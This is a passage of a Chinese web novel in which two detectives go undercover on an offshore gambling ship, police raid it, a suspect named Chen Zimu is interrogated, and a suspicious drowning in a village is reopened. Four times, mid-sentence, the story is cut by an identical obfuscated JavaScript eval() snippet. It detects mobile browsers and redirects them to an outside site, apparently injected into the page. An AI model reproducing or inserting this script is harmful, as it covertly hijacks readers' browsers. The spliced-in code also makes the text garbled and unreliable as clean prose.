从照片背景的海边山石地形和这边的相比较，勉强可以分析出两者是同一个地方。怪不得警方之前没有发现，民宿和金堂饭店的人有关系。 民宿这一侧很安静，似乎没有什么客人。 他们跟着服务员继续往前走，到了民宿一个小露台。小露台架在海边沙滩上，两侧都有一些大石头，晚上海水涨潮，海水漫延，露台变成了一个码头。一艘小船停靠在露台旁边。 程昭在露台悄悄四处张望了一下，这一侧背对着金堂饭店和外面的大马路，隔绝了警方盯梢的视线。 周立言饶有兴致地四处打量，然后看向服务员：“你们会所该不会在海上吧？” 服务员作了一个“请”的动作，指引他们上船：“客人你真聪明，小船会带你们到会所的大船上。行程大概十分钟左右，你们想要穿上救生衣吗？” 周立言有点嫌弃地看着小船：“穿上吧，这个小船安全吗？” 服务员：“保证安全，我们的船夫有丰富的行船和救生经验。” …… 在服务员的再三保证下，周立言和程昭穿上了救生衣，上了小船。 小船似乎安装了某种很静音的加速器，行驶的速度不慢而且很安静。 程昭看着海面被小船划破，海岸迅速倒退，岸边的各种喧嚣逐渐消失，耳边只剩下海水和小船的声音。面对未知，她有点害怕。 周立言悄悄握住了程昭有点冰凉的手，将温度源源不断地传给她。 程昭回握住他的手，虽然前途依旧未知，但是她没有那么害怕了。 如服务员所说的，小船大概行驶了十分钟，他们到了一艘大船旁边。 借着月光和船上的灯光观察，大船看起来半新不旧，似乎是一艘运货船。 大船放下一个可以坐四五个人的大吊篮，把周立言和程昭拉了上去。 服务员扶着他们到了甲板上，带着他们进了大船内部。 …… 船舱里面和外面完全两个样子。 船舱里面装修得金碧辉煌，精美的墙饰，水晶大吊灯，光可鉴人的地板，豪华大气的家具。 大厅里面有很多人，客人正在玩各种赌博游戏，荷官招呼着赌客，服务员穿梭在其中。 入口又有一处安检，这个安检比金堂饭店的严格很多。随身物品都需要过机检查，所有人都要通过安检门。三个外表凶狠的壮汉站在入口，虎视眈眈地观察着来客。 程昭略带不安地看了一眼周立言，周立言回了她一个放心的眼神。 他们随身携带了几样小装备，不过都拆开了，和其他普通物品放在一起，没有引起赌场的注意。 两人顺利通过了安检，服务员给他们讲解了会所的功能区域和一些注意事项，然后就离开了。 程昭靠近周立言，悄声问：“刚刚吓到我了，我还担心会被发现。那两个窃听器呢？” 周立言：“在饭店的时候，我先把窃听器藏在沙发里面，检查完又拿回来。不过听到赌场在海上，估计已经超出信号范围，我就悄悄藏到民宿外面了。陈岳他们听到当时的说话内容，他们应该会偷偷把窃听器捡回去。” 程昭放心了，然后兴致勃勃四处张望，“我们现在要做什么？” 周立言挑眉一笑，一副二世祖的表情：“当然是兑换筹码，先赌几把，做一个正常的客人。” …… 两人前往服务台。 程昭看到一路经过的工作人员，全部都是俊男美女，里面还有不少是外国人。 兑换窗口的工作人员更加漂亮，在他们甜言蜜语的攻势下，不少客人晕头转向，花了超出预算的钱去兑换更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14296181|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多的筹码，甚至还有人办理了会员。 轮到周立言和程昭的时候，工作人员看到衣着光鲜的帅哥美女，脸上的笑容更甜蜜更真诚了，极力推荐他们办理会员：“……会员消费可以享受消费折扣，有独家菜单，还可以去会员厅解锁更多的活动。” 周立言思考了一下，然后还是拒绝了，淡淡地说：“我们是第一次来，暂时什么都没有玩过，你们要我直接办会员，很难说服我。而且来这里太麻烦了，我要看看这里值不值得来第二次。” 工作人员理解地点点头，给他们兑换了想要的筹码，并给了他们两个临时会员体验卡，“两位是第一次来，兑换的金额也比较高，我们赠送两个临时会员卡，你们这次可以免费体验会员待遇。祝你们玩得开心。” …… 两人拿到筹码，看似兴致勃勃四处游玩，实则两人都在四处观察，偷偷用手机记录会场的情况。 赌场没有要求没收手机，但是这里似乎有信号屏蔽器，他们拍到的照片和视频只能存放在手机里。 为了避免被人发现偷拍，被检查手机，他们早有准备，两人的手机都安装了一个可以隐藏文件夹的软件，把数据都存到隐藏文件里面。 工作人员说的会员厅，他们也去逛了一下。 里面的项目比外面大厅的更疯狂，玩法更多，赔率更高，而且还有一些比较血腥的项目。斗鸡斗狗，甚至还有人兽搏斗。不过程昭他们只是听说，没有亲眼看到，因为那是高级会员才可以进入的区域。 但是他们看到的已经够多了，不管是会员厅，还是普通大厅，很多人都赌红了眼。赌徒永远觉得自己下一把就可以翻身，没有足够的约束，他们可以把一切都放上赌桌。 赌场提供的饮品食品，大多数都有刺激神经的成分，让人精神亢奋。会员独家菜单里面，甚至还有容易成瘾的违禁品。 两人点了普通的果汁，但是也没有真正地喝下去。 他们四处乱逛，选了几个项目玩了几把。 程昭很多项目都是第一次听说，连规则都是周立言现教的，不过她运气不错，最后结算，算是小赢了一点。 周立言运气就差一些，但是他技术比程昭好，有输有赢，最后结算，只亏了一点点。 两人都装作玩得很嗨的样子，和其他赌客看起来没有什么不同。 时间差不多，有人陆续离场了，他们两个也跟着离场。 赌场依旧是安排了小船，把他们送回了出发的地点。 他们留意到，有的客人似乎回去的路线和他们不是同一个方向，估计还有其他的集合点。 …… 回到酒店，已经差不多要天亮了。 周立言、程昭回到房间卸下伪装，把收集到的信息同步给其他人。 陈岳那边回复收到，并且告诉他们，窃听器已经安全回收了。 陈岳他们拿到情报，十分开心，不过他们没急着拉他们一起讨论，“你们辛苦了，我们先看一下你们收集的情报，你们赶紧休息，睡醒之后我们再来讨论。” 精神紧绷了差不多十个小时，周立言、程昭确实是挺累了，于是没有推辞，各自回房间睡了个天昏地暗。 71. 收网 程昭、周立言睡了一个上午才醒来。 今天本来要去参观第三个合作公司，不过侯远山他们很机灵，提前联系了对面的负责人，告诉他们周经理身体不适，拜访参观需要延后，后续另约具体时间。 周立言和程昭昨晚的卧底经历，和偷拍到的照片视频，给案件带来了很多进展。 之前F市警方接到的举报只提及了金堂饭店，他们一直以为赌场在饭店里面，谁也没想到，金堂饭店只是一个赌场的集合点，饭店有暗道连通隔壁的海边民宿，赌场的具体地点设置在海上的一艘大船上。 他们偷拍到的照片视频，记录了不少客人和工作人员的样貌。 通过警方的系统匹配和人工对比，发现许多客人都是F市或者周边城市的有钱人，甚至还有几个是政府官员。 工作人员的身份就复杂得多，五湖四海，国内国外都有，很难一一核对。 有几个工作人员，警方怀疑他们是之前出国务工、家人报案失踪的小模特。他们的家人曾经因其失联报警，后来虽然撤销报案，但是在报案系统留下了记录。他们的样子和以前有点不同，很有可能是整过容。 之前案件的陈子穆也出现了，当时程昭他们没有留意到，不过他们的镜头拍到了陈子穆的身影，他当时和一个客人相谈甚欢。 那个和陈子穆一起的客人，经过F市和A市警方一番调查，最终发现他是A市房地产商张回轩。 程昭怀疑，陈子穆和这个人相交，是为了A市的新赌场计划。A市不算是临海城市，应该不能故技重施，再用大船当赌场，需要有一个豪华、隐蔽、交通便利的场所。 【系统也确认了程昭的推测，“新赌场地址和房地产商张回轩有关”被标记了关联。】 虽然警方拿到了相关的照片视频，可以指证被拍摄的人参与了地下赌场的活动，但是这个证据毕竟是偷拍得来的，没有其他的证据。对方这么多有财有势的人，他们请的律师团队，一人一口口水都可以把他们这几个警察淹死。 而且他们想要对付的，是开设赌场的人，不是这些赌客。 和赌场相关的人，目前可以确定的人员，主要是金堂饭店、海边民宿的人。大船和其他集合点的人，暂时很难确定人员名单。 大家一致认为，最好可以找到赌博的大船，来个人赃并获。 …… 为了不暴露程昭和周立言的身份样貌，他们两人没有出现在警局，只加入线上会议参与讨论。 陈岳：“你们对大船的方位，有没有什么印象？” 周立言：“民宿的小船出发后，行驶了9分38秒到达大船，小船的速度比一般快艇慢一点点。小船不是走直线的，我感觉整体航线偏向民宿左侧。天色太暗，大船勉强可以看到海岸，但是我没认出是什么地方。” 程昭：“我勉强认出了几个建筑，其中一个建筑应该是新建的体育馆。我们登上大船的地方，应该是红树林海滩附近。” 陈岳查了一下程昭他们昨晚手机的定位记录：“你们手机信号是在那附近的海面消失的，不过你们回来的时候手机信号出现在另一个地方。” 周立言：“是的，上船之后，我感觉大船一直在航行，我们在船舱内，不清楚具体的航线。” 程昭：“是的，大船一直在航行，不过速度不快。” 大家又讨论了一些案件细节和定位大船的方法，但是大海茫茫，不知道船名船号，甚至还没有大船的外观照片（他们在小船的时候没办法对着大船拍照），要确定赌船是哪一条实在有点难。 周立言沉吟：“实在没办法的话，我们就再去一次赌场，你们跟在后面。” 陈岳苦笑：“这个是没办法之中的办法。跟得远容易跟丢，跟得紧肯定会被发现。如果被人发现了，你们在船上会很危险。” 他们讨论的时候，程昭回看之前的视频和照片，通过系统识别和自己的推测，发现了一个比较有用的小细节。 程昭：“你们看看视频录像No.023，播放时间1分20秒的时候，背景音里面似乎有飞机飞过的声音，当时大船上空会不会有什么飞机航线经过？” 众人都去打开视频回看，技术员把对应的背景音提取出来，大家都留意到程昭所说的声音。 这个声音比一般飞机飞过的声音大很多，而且更加尖锐。 周立言：“那个可能不是载客飞机，听声音有可能是战斗机。这个视频的拍摄时间计算，当时应该是凌晨1点。” 陈岳大喜，连声音都透着雀跃：“我们这边附近小岛有部队驻扎，可能是飞行训练或者日常巡逻！我联系那边问问，凌晨1点他们有没有飞机飞行，经过什么路线。如果运气好的话，他们有可能收集到了大船的信息。” 程昭：“大船的信息？” 陈岳耐心解释：“大船离岸边这么近，应该是伪装成普通的运货船。船只都要报备过信息才能入港，部队巡逻有时候会扫描识别和收集遇到的船只信息。” …… 陈岳联络部队的人，确定了他们昨晚有巡逻任务。凌晨1点前后，出巡的飞机刚好对途径的海域进行了例行的船只识别和收集。 经过一番排查，最后确定了赌场大船的伪装身份，它伪装成一艘运货船，船主是一个身患绝症的渔民。 因为确定了大船的信息，警方顺利锁定了船只，暗中跟踪。 在这天晚上，陈岳的警队联合海警部队，控制了赌场大船。 抓捕场面十分混乱。客人和工作人员四处乱跑，甚至有几个人想要跳海避开警察追捕。 赌场的保安持有枪械，和警方发生了零星的枪战。 不过相比赌场的人，警方更加训练有素，很快击倒了持枪拒捕的人。剩下的人不敢继续负隅顽抗，纷纷缴械投降。 同时，警方还组织了人手，抓捕金堂饭店、海边民宿相关的人。 因为保密工作做得好，内鬼还传递了错误的信息，赌场的相关人士没有丝毫防备。 警方行动的时候，除了金堂饭店有人组织反抗，逃走了几个人，其他地方的人全部落网。 好消息是大部分人都抓到了，包括之前视频平台案出现过的陈哥陈子穆。 坏消息是地下赌场的主谋，金堂饭店的经理李怀带着他的弟弟和两个保镖逃跑了。后来，警方在郊区发现了他们逃跑乘坐的车辆，车上还有两个保镖的尸体，不过这些都是后话了。 …… 地下赌场案涉案人数众多，陈岳他们一天差不多20小时都在审讯室里面，录口供录得口干舌燥。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14321186|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> A市来的几个刑警过得惬意多了。 因为不是他们主场，他们不用帮忙审讯。 而且，涉案的重要人士逃跑了，为了不连累帮忙提供假身份的企业，不暴露之前的钓鱼行动，他们几个继续隐身幕后，假装顺晟的人参观视察剩下的几个合作公司，参观完就回到度假酒店。 周立言和程昭也不用继续演挥金如土的富家子和女朋友，他们乖乖呆在酒店里面也不会歪人设。毕竟他们之前去过赌场，现在地下赌场被曝光了，现在满城风雨，去过又没有被抓住的赌场客人都在低调做人，他们这种行为合情合理。 程昭例假期间也不想动，只想房间好好休息。去赌场那晚她吹了海风，还熬了通宵，感觉比平时更累了。 周立言也一直在房间里面陪着程昭，不过他手上要处理的工作比程昭他们几个要多，他要一直远程处理工作。 侯远山他们时不时就来周立言他们的套房商量事情，程昭自己呆在房间里面，周立言在客厅办公，侯远山他们都没有看到两人有什么过于亲密的举动，自然也不会想到两人有其他关系。 …… 陈子穆涉及很多个案件，而且和KL组织有关，被警方特别关押起来。 他一开始还以为警方不知道他的真实身份，被抓只是因为他出现在赌场，以为只要录完口供，小惩大诫，罚点钱警告几句就可以离开。 但是他被单独关在戒备森严的看守所里面，迟迟没有人给他录口供，他再迟钝也知道事情不对劲了。 这天，终于有人带他去审讯室了。 审讯室里面除了有两个警察，还放着一台笔记本电脑，似乎还开了视频聊天。但是屏幕里面只显示了审讯室这边的画面，对面的画面是黑的。 陈子穆故作镇定，表现得像是一个受害者：“怎么，现在录口供还要视频聊天吗？我只是去了赌钱，又没有做什么伤天害理的事情，你们凭什么关我这么久？” 刑警陈岳和李威没有回复他的质疑。 陈岳面无表情：“名字。” 陈子穆报出了他的假身份：“王东立。” 陈岳一脸严肃，抬眸看着他。陈子穆感觉更加不安了。 电脑传出一个男声，“王东立？陈子穆，你连名带姓都改了？” 陈子穆眼睛微微睁大，但是他心里素质不错，看起来还十分淡定。 陈子穆语气无辜，反问：“你们在说谁啊？我叫王东立，归国华侨，很多人都认识我。” 电脑的另一边，周立言和程昭他们微微皱眉，都感觉这个陈子穆太淡定了，比他的手下孙家豪难对付。 孙家豪暂时还是他们的底牌，不能透露他还没有死的消息。 程昭决定用韩高煊来诈一下陈子穆。 程昭对着话筒：“陈子穆，或者我们应该叫你陈哥？还是叫你仓鸮？你不好奇我们为什么知道你的身份吗？” 陈子穆听到自己的代号，有点慌乱，但是依然强作镇定：“你们在说什么？” 程昭：“仓鸮，KL组织，窥视APP……你是不是被抢走了几个项目？准备去A市开新赌场？有人打算不让你翻身哦。” 陈子穆的表情彻底崩了，面目狰狞，咬牙切齿地念出了一个名字：“灰狼……韩高煊……” 72. 审讯和回家 陈子穆：“你们是怎么知道这些事的？” 程昭：“你不要管我们的信息来源，反正你们组织的一些事，我们已经查到了。你不如好好配合我们，争取减刑。” 陈子穆嗤笑：“减刑？我们做的那些事，估计都是死刑了吧，还可以怎么减。” 既然警察都知道窥视APP和他有关系，那么应该也知道李聪是他杀的，他身上的案件这么多，说与不说，都是牢底坐穿，甚至直接就是死刑。这样子，减刑还有什么意义？ 周立言：“这么多案件，估计涉案的人数不少，你也是听命行事的，主谋也不是你，案件没有那么快定案，现在你不如先争取一个舒服的监狱环境。而且你真的甘心吗？韩高煊杀了你的手下，把你挤下来，踩着你上位，在外面过着逍遥快活的日子。” 程昭：“我们得到这么多组织的信息，其实也多亏了韩高煊的帮忙。没有他，我们估计不会这么快掌握这么多情报。” 如果韩高煊没去杀孙家豪，孙家豪也不会一下子把所有知道的事情都抖出来，所以说他帮了忙，也不算说谎。 陈子穆脸色变幻，盯着电脑屏幕，似乎想透过黑色的画面看穿另一边的人。 审讯室里面的刑警陈岳也开口说：“陈子穆，现在赌场案的相关人士，主犯李怀逃跑了，你是被抓的级别最高的人，李怀的手下也说你是负责人，估计是想要把责任推到你身上。你想帮他们背锅吗？” 陈岳的搭档李威继续补刀：“他们还说出了你A国XX银行的私人账户，说你赚了不少钱。” “这群小人……”陈子穆咬牙切齿。他才刚接触赌场项目，根本没有在这边拿到什么好处。他们居然把他的小金库都推出来了。 陈子穆思考了片刻，抿了抿嘴：“可以，我说，但是你们必须保证我的安全，而且我要去自由度、舒适度比较高的监狱，还要尽量减刑。” 周立言：“这也取决于你说的信息是否有用。只要你配合，我们会尽量帮你说好话。” 陈子穆：“我知道的事情可多了，你们想先听哪件？” …… 陈子穆很配合地说出了他了解的事。 程昭感觉他应该还有所保留，或者说不太老实，特别是他相关的案件，他有一些地方要么含糊不清，要么推卸责任。 不过关于其他人的事，他说得挺详细的，特别是韩高煊相关的案件。 韩高煊是因为金融诈骗表现出色，得到了组织的青眼。红狐把他收到麾下，带着他做了几个骗局，为组织赚了一些钱。他职位升得很快，没多久就成了内部成员。后来红狐还把制药的生意交给韩高煊打理，只让陈子穆负责收集材料的工作。 陈子穆参加过几次组织的大集会，见过几个组织的高层，虽然只知道他们代号，不知道真实姓名，但是他配合警方，画出了红狐、猎豹、鲨鱼的画像。 红狐相当于组织的军师。猎豹负责培养组织的打手。鲨鱼负责管理组织的财务。 老板代号蝙蝠，一直深居幕后，只有高层成员见过他。 陈子穆觉得组织的顶头boss在A国有点关系，KL组织很多生意都和A国有来往。 …… 陈子穆说的话，大家都觉得不能尽信。 他把自己塑造得太无辜了，但是大家都没忘记他做过的事。 几个月前的视频案，警察刚到李聪住所和工作地点附近查探，陈子穆就折返回去，在警察眼皮子底下杀人灭口，最后还成功逃脱。可见其胆大心细，心狠手辣。 这次他落网，很大一部分原因是他在大船上无路可逃，如果他当时和经理李怀一样在饭店，他应该也会成功逃跑。 关于警方内鬼的事，不知道陈子穆是没了解还是故意隐瞒，他完全没有提过有警员被收买的事。大家更偏向认为，他是故意隐瞒。 程昭推测，警方或者政府内部还有其他人被组织收买了，陈子穆故意不提F市警方内鬼的事，就是为了避免警方发现还有其他被收买的人。 【系统标记了“组织在警方和政府内部还有内鬼”。】 …… 除了审问陈子穆，其他涉案人员那边也问出了不少有用的东西，不过大部分都是赌场案的信息。下面执行的人并不了解KL组织内部的事，只知道李怀和新来的陈哥是管事和管钱的。 警方还找到赌场的账本，找到了赌场的其他几个集合点和洗钱的渠道。 经过审讯和追查资金流转，陈岳和周立言他们找到了几个皮包公司。 大船里面成瘾药品的来源，也被追溯到了，发货地点是C市一个批发市场。组织制药或者储存药品的地方很可能也在那一边。 地下赌场案虽然主谋跑了，但是警方抓捕了许多人，人赃并获，案件算是告一段落。 陈子穆由F市警方押送，前往A市。 程昭他们也功成身退，回去A市交差。 …… 出差十多天，终于回到家，程昭第一时间就是抱住好久不见的小橘猫，在床上打滚。 “小橘有没有想我呀？”程昭疯狂蹭蹭小橘。 小橘一开始有点没认出程昭，被抱住才想起这是失踪多日的主人，于是好脾气地允许两脚兽长时间抱着自己乱蹭。 “喵呜~”小橘回蹭铲屎官的脸，把程昭的心都萌化了。 偶尔上门帮忙看猫的王阿姨笑呵呵地看着她们，“出差还顺利吗？” 程昭抱着小橘走到客厅，笑着说：“顺利，这段时间麻烦你了，多亏有你上门帮忙。” 王阿姨摆摆手：“不过是搭电梯下五层楼，我是长辈又是邻居，这种小事算不了什么。而且你有定时喂食器和自动猫砂盆，我都没有做什么，反而是小橘陪着我解闷了，这么有灵性的猫居然被你遇到，太羡慕了，我天天逛小公园，怎么就没有被我遇到呢。” 程昭：“小橘也很喜欢你，欢迎你来找它玩。我平时工作忙，程露又在学校，小橘自己在家都是睡觉，太无聊了。我家备用钥匙你可以留着，白天过来和猫一起玩。” 王阿姨和已故的程父是旧同事，又是楼上楼下的邻居，人品在广场舞大妈里面也是有口皆碑的。 这几天程昭偶尔通过家里的监控，可以看到王阿姨很喜欢小橘，而且没有乱搞家里的东西，小橘弄脏了家里，她还帮忙打扫卫生。所以程昭很放心留备用钥匙给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14345644|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，反正家里也没有什么值钱的东西。 王阿姨连忙推辞，把钥匙塞到程昭手里：“这不合适，家里钥匙没事不要乱给别人。我偶尔来拜访，你不要嫌我来得多就好。” 程昭收下钥匙：“怎么会嫌弃，欢迎常来。” …… 回到市局上班，周立言陷入了报告材料的泥沼，程昭等人也在劫难逃，一群人疯狂写报告写材料。 孙泽林看到侯远山那一堆报告，才变得心理平衡一点，谁让侯远山老是和他炫耀呢。 材料案埋伏抓到的犯人孙家豪，他的伤好得差不多，已经转移到了一个安全的地方。 周立言、程昭他们一致认为，暂时不要让孙家豪曝光，也不要让陈子穆知道孙家豪的事。 孙家豪说的信息，他们都觉得可信度比较高。 陈子穆的可信度就一半一半，他们暂时没有其他线索可以参考，只能一步一步去查证验证。 程昭在系统里面核对过陈子穆说的话，确实是半真半假。有的线索他说了，系统根本不标记。就连红狐几个高层的画像，相似度也只有百分之七十。 陈子穆被关进了A市的监狱，住着一个单人间。周立言和监狱打过招呼，让他们留意有没有人尝试接触陈子穆，无论来者是狱友还是工作人员，一律上报。 组织买通的人，说不定会接近陈子穆，甚至帮他逃走。 周立言他们也希望，借机把内鬼引出来。 …… 程昭对KL组织相关案件都很上心，所以特地去二队了解材料仓库的情况。 刑事二队安排了人，轮流监视化工材料仓库，不过这段时间都没有人来转移过货物。 程昭疑惑：“这么大一片仓库，没有人来过？” 吴白：“怎么可能，每天都有不少的货车出入，但是没有人开过那几个仓库的门。我们每次看到有货车或者有人靠近，都以为有人终于来了，结果都是空欢喜一场。” 程昭：“那你们最近有进去仓库检查货物吗？” 吴白：“……没有，就一开始检查过。” 程昭建议：“你们不如再检查一次？然后在货物里面有放点跟踪器？” 吴白：“是有什么不对劲吗？” 程昭简单地讲了一下赌场案的事。组织的人为了隐蔽，在金堂饭店和海边民宿之间挖了地下密道。 因为赌场密道，她就担心化工材料仓库，会不会也有什么密道或者暗门。 材料倒卖事件在系统有记录，但是材料运输、药品制造事件似乎是另外的案件。程昭没有接触太多的信息，这个事件在系统还没有记录。她不能通过“推测-系统记录”的方式判断情况。 吴白听了赌场密道的事，不禁也有点担心仓库会不会有暗门。虽然目标仓库的门没有被打开过，但是两侧、后方的仓库经常有人有车来运输。即使密道难以大量运输货品，但是少量多次…… 吴白立刻联系在场监视的人，让他找机会进去目标仓库，检查货品数量。 监视的人收到信息，等附近没有人的时候悄悄打开其中一个仓库，然后他傻眼了。 货物几乎都被搬空了。 73. 自杀疑云 目标仓库的货物，居然在刑事二队的日夜监视下被搬空了！？ 孙萍、于山十分震惊，马上命令二队在仓库看守的人，统计几个目标仓库的库存情况。 统计之后发现，百分之九十的货物都被搬走了，没被搬走的主要是靠近大门和窗户的货物和一些体积较大的箱子。 现场的人检查场地，发现了隐蔽的暗门，暗门连通旁边的仓库。组织的人通过旁边的仓库，不声不响地搬走了目标仓库的货物。 孙家豪并不知道仓库暗门的事，之前来运货的人，和陈哥对接之后，都是直接从对应仓库搬货运走的。 于山等人推测，这些仓库暗门应该是组织用来预防意外情况的。孙家豪“死亡”，陈哥不在A市，对接人不确定仓库是否安全或者发现了警方的监视，最后动用了密道。 二队调查了仓库附近的监控，发现了可疑的车辆。但是事情已经发生了一段时间，追溯的希望比较渺茫，二队只能尽力而为。 …… 刑事三队这边，周立言、程昭等人完成了赌场案的报告材料，然后又接到一个案件。 这个案件本来已经快要结案了，后来因为一些原因重开，案件几经辗转，最后到了他们手里。 事情经过大概是这样的： A市郊区的一个村镇，有一个名叫黄永的大学生，十几天前从学校请假回家，参加母亲的丧礼，葬礼完成之后失踪了数日。 黄永的家人和附近的村民，都说他因为母亲的离世有点精神失常，守灵期间疑神疑鬼，四处大吵大闹，还袭击了几个村民。他失踪之后，其家人还发现了他的遗书。 后来，村民在河里发现了他的尸体。 当时，镇上的派出所查看过尸体，确定是溺水而亡，尸体没有其他伤痕。家人提供了遗书，众多村民也说死者精神有问题，查案的警员也觉得死者是自杀，便出具了报告，按自杀结案。 本来事情就这样结束了，但是死者的同学得知他的死，说他不可能会自杀，极力要求验尸，重新审查案件。 派出所负责人重新审核这个案件，发现案件确实有点问题。于是他找法医重新验尸，还找人鉴定遗书笔迹。 法医补充了几项检查，发现死者肚子里面的液体里面没有水藻。 发现尸体的河道里面有大量的水藻，如果死者真的是在河里淹死的，他肚子里面的液体应该含有水藻成分。 这说明，死者死亡的地点不是河道。 另外，他的遗书笔迹，鉴定专家说应该是他本人的，不过语气和内容看起来有点怪。 几番讨论，案件重开，一步步转移，最后交给了刑事三队。 …… 程昭仔细阅读案件的相关信息。 死者黄永，21岁，在外省的大学读书，聪明好学，性格有点敏感易怒，但是心地善良乐于助人，帮过被校园霸凌的同学，在同学里面人缘不错。 他是A市郊区黄家村的人，祖辈都住在这里。 父亲黄国华，他们那一代有四个兄弟姐妹，黄国华排行第三。 母亲艾云是外省人，来A市打工的时候和黄父相识相恋，结婚后生下大儿子黄永和二儿子黄进。 黄母向来身体健康，年纪才五十多岁，十几天前在家里脚滑摔下楼梯死亡。 黄永和其他人发生冲突，就是因为他不相信母亲死亡是意外。 黄家在黄永失踪之后，还说他曾经患有抑郁症，但是拿不出任何证明。 …… 三组的成员看完案件资料，讨论了一下各自的想法。 大家一致认为，黄永的死有古怪，黄母的死说不定也有古怪。黄家的态度十分耐人寻味，家里人出事不查个清楚明白，反而急急忙忙地想要下葬，简直就是做贼心虚。 程昭：“村民的反应也很奇怪。邻里突然有人死了，死者家属打探情况，一般人即使怕惹事，也不会和死者家属起争执，更不会激烈到打人。” 周立言：“把那两个和死者起了争执的人，也纳入调查范围。除了查黄永的死，还要查他的母亲艾云的死。当地派出所那边也需要注意，留意一下当初调查艾云和黄永的的警员。” 要查的信息有点多，大家讨论了一下，最后决定分头行动。 周立言给大家分了工：乔良和孙泽林去派出所调查警员，收集线索；侯远山和陈丰去村里到处打听，调查起了争执的村民情况；周立言和程昭去死者家里，调查死者家人情况。 大家点头应是，然后收拾需要带的东西，开了三辆车前往郊区黄家村。 …… 程昭偷偷查看了一下系统，但是现在还没有触发案件收集。程昭猜测是她还没有接触过案件的相关人员。 黄家村虽然也在A市范围，但是已经在A市和C市的边缘。他们从市局出发，开车差不多花了一个小时，才来到黄家村。 大家按分工的内容，各自前往调查地点。 程昭和周立言直接开车去到黄家村死者家附近，在村里找了个地方停车。 这个村子看起来贫富差距有点大，有的房子很新很漂亮，有的房子看起来很老旧。 死者的家是新建不久的，外形看起来十分豪华，欧式大别墅的既视感。 如果只看这个房子，不知道的还以为是国外的小别墅，谁能想象这是一个郊区村镇的自建房？ 程昭疑惑地看着死者的家，又看了看远处的那些老破小的民房，忍不住凑近周立言，低声讨论：“死者家里很有钱吗？” 周立言也微微俯身靠近程昭，小声说：“我之前看了一下死者家庭背景，好像黄国华的大哥二姐是经商开厂的，可能带着黄国华一起赚钱了吧。” 开厂吗？程昭心里有个隐约的想法，不过来不及细想，对面有几个人靠近走来。 这三个人来势汹汹，脸上隐含着敌意，他们分别是死者的父亲黄国华、弟弟黄进、大伯黄国忠。 黄国华不耐烦地质问：“你们警察还要来多少次？！我都说了，黄永是自杀！他同学难道比我这个做父亲的，还了解自己的儿子？” 黄国忠在一边赔笑着：“不好意思啊，警察同志。我弟弟连续失去了两个至亲，还时不时被警察找上门来，他的脾气有点控制不住，请见谅。” 黄进比死者小了几岁，大概还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361048|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在读初中，他看了看家里的大人，又看了看对面的警察，一言不发，低下了头。 周立言没理会死者家属不友好的态度，径直和他们介绍了己方的身份。 “……因为黄永的案件还存在疑点，所以我们才来的。只要真相大白了，就不会再来打扰你们的生活了。你们也不想亲人死得不明不白吧？”周立言淡淡地看着他们。 程昭也认真观察这几个人的表情。 黄国华的不耐烦和生气退却了两秒，眼神有点心虚地瞥向左侧，微微挪动了脚尖，不过很快就克制住了，脸上也恢复了生气的样子。 黄国忠的表情僵硬了一瞬，很快又恢复了圆滑的笑容。 黄进则是一直低着头，看不清眼神，但是程昭看到他嘴角向下抿了抿。 这几个人里面，黄进好像是最好攻破的点，这个少年看起来也知道一点内情。希望能够遇到他落单的时候，想办法和他套话。 他们站在外面说话，附近路过的人远远看着指指点点，黄国华无奈也只能先把他们带到屋子里面。 来到一楼客厅，周立言和程昭四处张望。 这个房子很大，一层差不多有两百平米。内部装修有点中西结合，但是结合得不太和谐，看起来有点暴发户。 夸张的天花板，巨大的鱼缸，金光闪闪的貔貅摆件，花开富贵的屏风摆件……从家里的陈设，很难看出这个家最近死了两个人。 黄国华把他们带到客厅，让他们坐下：“你们还想知道什么？我们已经回答过几次问题了。遗书是在黄永房间找到的，我们看笔迹像是他的，就交给警察了。我们可没有伪造笔迹的能力。” 周立言：“死者是什么时候失踪的？那天还记得发生过什么吗？” 黄国华看了一眼黄国忠。 黄国忠笑着说：“老三你看我做什么？警察同志问什么，你照实回答就行。” 